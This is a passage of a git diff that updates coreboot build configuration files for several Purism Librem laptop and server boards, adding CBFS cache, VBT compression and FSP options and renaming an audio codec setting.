+CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -284,7 +285,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y CONFIG_INTEL_CAR_NEM_ENHANCED=y # CONFIG_USE_INTEL_FSP_MP_INIT is not set -# CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI is not set CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y CONFIG_HAVE_HYPERTHREADING=y CONFIG_FSP_HYPERTHREADING=y @@ -465,7 +465,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y @@ -502,7 +505,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 @@ -572,6 +575,10 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y CONFIG_GFX_GMA=y CONFIG_GFX_GMA_DYN_CPU=y @@ -738,6 +745,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # diff --git a/config/coreboot-librem_13v4.config b/config/coreboot-librem_13v4.config index 804cb751b..fac3fa30c 100644 --- a/config/coreboot-librem_13v4.config +++ b/config/coreboot-librem_13v4.config @@ -20,6 +20,7 @@ CONFIG_ARCH_SUPPORTS_CLANG=y CONFIG_OPTION_BACKEND_NONE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -150,7 +151,6 @@ CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/descripto CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/me.bin" CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_USE_LEGACY_8254_TIMER is not set @@ -230,6 +230,7 @@ CONFIG_SMM_RESERVED_SIZE=0x200000 CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -284,7 +285,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y CONFIG_INTEL_CAR_NEM_ENHANCED=y # CONFIG_USE_INTEL_FSP_MP_INIT is not set -# CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI is not set CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y CONFIG_HAVE_HYPERTHREADING=y CONFIG_FSP_HYPERTHREADING=y @@ -465,7 +465,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y @@ -502,7 +505,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 @@ -572,6 +575,10 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y CONFIG_GFX_GMA=y CONFIG_GFX_GMA_DYN_CPU=y @@ -738,6 +745,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # diff --git a/config/coreboot-librem_14.config b/config/coreboot-librem_14.config index b15087466..3d05d26f1 100644 --- a/config/coreboot-librem_14.config +++ b/config/coreboot-librem_14.config @@ -20,6 +20,7 @@ CONFIG_ARCH_SUPPORTS_CLANG=y CONFIG_OPTION_BACKEND_NONE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -148,7 +149,6 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/librem_14/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/librem_14/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y CONFIG_USE_LEGACY_8254_TIMER=y @@ -217,7 +217,7 @@ CONFIG_SYSTEM_TYPE_LAPTOP=y # # SoC # -CONFIG_CHIPSET_DEVICETREE="" +CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset.cb" CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 @@ -228,6 +228,7 @@ CONFIG_SMM_RESERVED_SIZE=0x200000 CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -242,7 +243,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 CONFIG_SOC_INTEL_I2C_DEV_MAX=6 CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Include/" +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Include/" CONFIG_FSP_FD_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Fsp.fd" CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 CONFIG_INTEL_GMA_BCLV_WIDTH=32 @@ -254,7 +255,8 @@ CONFIG_HAVE_PAM0_REGISTER=y CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_INTEL_CANNONLAKE_BASE=y CONFIG_SOC_INTEL_COMETLAKE=y -CONFIG_SOC_INTEL_COMETLAKE_1=y +CONFIG_SOC_INTEL_COMETLAKE_1_2=y +CONFIG_FSP_FD_PATH_2="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Fsp.fd" CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 @@ -285,7 +287,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y CONFIG_INTEL_CAR_NEM_ENHANCED=y # CONFIG_USE_INTEL_FSP_MP_INIT is not set -# CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI is not set CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y CONFIG_HAVE_HYPERTHREADING=y CONFIG_FSP_HYPERTHREADING=y @@ -457,7 +458,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y @@ -497,7 +501,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 @@ -554,10 +558,15 @@ CONFIG_PLATFORM_USES_FSP2_0=y CONFIG_PLATFORM_USES_FSP2_X86_32=y CONFIG_HAVE_INTEL_FSP_REPO=y CONFIG_ADD_FSP_BINARIES=y +CONFIG_PLATFORM_USES_SECOND_FSP=y CONFIG_FSP_T_LOCATION=0xfffe0000 CONFIG_FSP_S_CBFS="fsps.bin" CONFIG_FSP_M_CBFS="fspm.bin" CONFIG_FSP_FULL_FD=y +CONFIG_FSP_S_CBFS_2="fsps_2.bin" +CONFIG_FSP_M_CBFS_2="fspm_2.bin" +CONFIG_FSP_M_FILE_2="$(obj)/Fsp_2_M.fd" +CONFIG_FSP_S_FILE_2="$(obj)/Fsp_2_S.fd" CONFIG_FSP_T_RESERVED_SIZE=0x0 CONFIG_FSP_M_XIP=y CONFIG_FSP_USES_CB_STACK=y @@ -571,6 +580,10 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Skylake" @@ -737,6 +750,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # diff --git a/config/coreboot-librem_15v3.config b/config/coreboot-librem_15v3.config index 03d27de94..be69a553c 100644 --- a/config/coreboot-librem_15v3.config +++ b/config/coreboot-librem_15v3.config @@ -20,6 +20,7 @@ CONFIG_ARCH_SUPPORTS_CLANG=y CONFIG_OPTION_BACKEND_NONE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -150,7 +151,6 @@ CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/descripto CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/me.bin" CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_USE_LEGACY_8254_TIMER is not set @@ -230,6 +230,7 @@ CONFIG_SMM_RESERVED_SIZE=0x200000 CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -284,7 +285,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y CONFIG_INTEL_CAR_NEM_ENHANCED=y # CONFIG_USE_INTEL_FSP_MP_INIT is not set -# CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI is not set CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y CONFIG_HAVE_HYPERTHREADING=y CONFIG_FSP_HYPERTHREADING=y @@ -465,7 +465,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y @@ -502,7 +505,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 @@ -572,6 +575,10 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y CONFIG_GFX_GMA=y CONFIG_GFX_GMA_DYN_CPU=y @@ -738,6 +745,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # diff --git a/config/coreboot-librem_15v4.config b/config/coreboot-librem_15v4.config index 80a80bf72..3e25331d7 100644 --- a/config/coreboot-librem_15v4.config +++ b/config/coreboot-librem_15v4.config @@ -20,6 +20,7 @@ CONFIG_ARCH_SUPPORTS_CLANG=y CONFIG_OPTION_BACKEND_NONE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -150,7 +151,6 @@ CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/descripto CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/me.bin" CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_USE_LEGACY_8254_TIMER is not set @@ -230,6 +230,7 @@ CONFIG_SMM_RESERVED_SIZE=0x200000 CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -284,7 +285,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y CONFIG_INTEL_CAR_NEM_ENHANCED=y # CONFIG_USE_INTEL_FSP_MP_INIT is not set -# CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI is not set CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y CONFIG_HAVE_HYPERTHREADING=y CONFIG_FSP_HYPERTHREADING=y @@ -465,7 +465,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y @@ -502,7 +505,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 @@ -572,6 +575,10 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y CONFIG_GFX_GMA=y CONFIG_GFX_GMA_DYN_CPU=y @@ -738,6 +745,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # diff --git a/config/coreboot-librem_l1um_v2.config b/config/coreboot-librem_l1um_v2.config index 8b473eb0a..4d60e9f7f 100644 --- a/config/coreboot-librem_l1um_v2.config +++ b/config/coreboot-librem_l1um_v2.config @@ -20,6 +20,7 @@ CONFIG_ARCH_SUPPORTS_CLANG=y CONFIG_OPTION_BACKEND_NONE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -146,7 +147,6 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um_v2/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um_v2/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_USE_LEGACY_8254_TIMER is not set @@ -213,7 +213,7 @@ CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 # # SoC # -CONFIG_CHIPSET_DEVICETREE="" +CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset_pch_h.cb" CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 @@ -224,6 +224,8 @@ CONFIG_SMM_RESERVED_SIZE=0x200000 CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -281,7 +283,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y CONFIG_INTEL_CAR_NEM=y # CONFIG_USE_INTEL_FSP_MP_INIT is not set -# CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI is not set CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y CONFIG_HAVE_HYPERTHREADING=y CONFIG_FSP_HYPERTHREADING=y @@ -303,6 +304,7 @@ CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 +CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y @@ -456,8 +458,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y @@ -497,7 +501,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -573,6 +577,10 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y @@ -740,6 +748,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # diff --git a/config/coreboot-librem_mini.config b/config/coreboot-librem_mini.config index 68fea7412..9893f5017 100644 --- a/config/coreboot-librem_mini.config +++ b/config/coreboot-librem_mini.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y # CONFIG_STATIC_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -151,7 +152,6 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y CONFIG_USE_LEGACY_8254_TIMER=y @@ -218,7 +218,7 @@ CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 # # SoC # -CONFIG_CHIPSET_DEVICETREE="" +CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset.cb" CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 @@ -229,6 +229,7 @@ CONFIG_SMM_RESERVED_SIZE=0x200000 CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -285,7 +286,6 @@ 